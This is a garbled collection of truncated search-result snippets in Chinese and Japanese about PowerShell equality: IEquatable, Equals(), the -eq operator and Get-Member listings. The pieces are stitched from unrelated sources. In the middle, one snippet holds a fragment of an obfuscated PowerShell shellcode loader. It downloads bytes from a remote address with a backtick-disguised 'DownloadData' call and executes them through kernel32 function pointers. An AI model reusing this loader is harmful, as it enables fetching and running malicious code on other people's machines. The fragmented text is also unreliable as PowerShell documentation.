下列範例示範實作System.IEquatable<T>且具有兩個屬性 File和Size的MyFileInfoSet類別部分實作。 如果兩個MyFileInfoSet物件的 File 和 Size 屬性相同,此方法Equals()會傳回True。 PowerShell複製 class MyFileInfoSet : System.IEquatable[Object]
若要建立可比較的類別,您必須在類別中實 作System.IEquatable<T>。 下列範例示範實作 System.IEquatable<T> 且具有兩個屬性 File 和 Size 的MyFileInfoSet 類別的部分實作。 如果兩個 MyFileInfoSet 物件的 File 和 Size 屬性相同,此方法Equals()會傳回 True。PowerShell 複製 ...
if (!assemblyToResolve.Name.Equals("AlcModule.Engine")) { return null; } // Allow our ALC to handle the directory discovery concept // // This is where Alc.Engine.dll is loaded into our custom ALC // and then passed through into PowerShell's ALC, // becoming the bridge between both...
# 定义要检查的字符串$myString="Hello123World"# 使用正则表达式匹配数字$containsNumber=$myString-match"\d"# 输出结果if($containsNumber){Write-Host"字符串包含数字"}else{Write-Host"字符串不包含数字"} 解释: 首先,我们定义了一个要检查的字符串$myString,这里假设为 "Hello123World"。
$allregions=(Get-EC2Region).RegionName If($checkUS = "true") {$Regions=$usRegions} Else {$Regions=$al 浏览4提问于2020-01-17得票数 0 回答已采纳 3回答 为什么PowerShell中的equals是"-eq“而不是"="? 、 构造-ne、-eq和-gt至少看起来很奇怪。但不是解释是什么? 浏览1提问于2012-04-24得...
Invoke($null, @($var_module))), $var_procedure)) } If ([IntPtr]::size -eq 8) { [Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0]) $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll ...
Equals Method bool Equals(System.Object obj), bool Equals(int obj) GetHashCode Method int GetHashCode() GetType Method type GetType() GetTypeCode Method System.TypeCode GetTypeCode() ToString Method string ToString(), string ToString(string format), string ToString(System.IFormatProvider provider.....
Name MemberType Definition --- --- --- Equals Method bool Equals(System.Object obj) GetHashCode Method int GetHashCode() GetType Method type GetType() ToString Method string ToString() a NoteProperty int a=1 b NoteProperty int b=2 add ScriptMethod System.Object add(); 对自定义对象使用Sel...
Equals Method bool Equals(System.Object obj), bool Equals(int obj) GetHashCode Method int GetHashCode() GetType Method type GetType() GetTypeCode Method System.TypeCode GetTypeCode() ToString Method string ToString(), string ToString(string format), string ToString(System.IFormatProvider provider.....
TypeName: System.Management.Automation.PSCustomObject Name MemberType Definition --- --- --- Equals Method bool Equals(System.Object obj) GetHashCode Method int GetHashCode() GetType Method type GetType() ToString Method string ToString() Name NoteProperty string Name=w32time $CustomObject変数を引...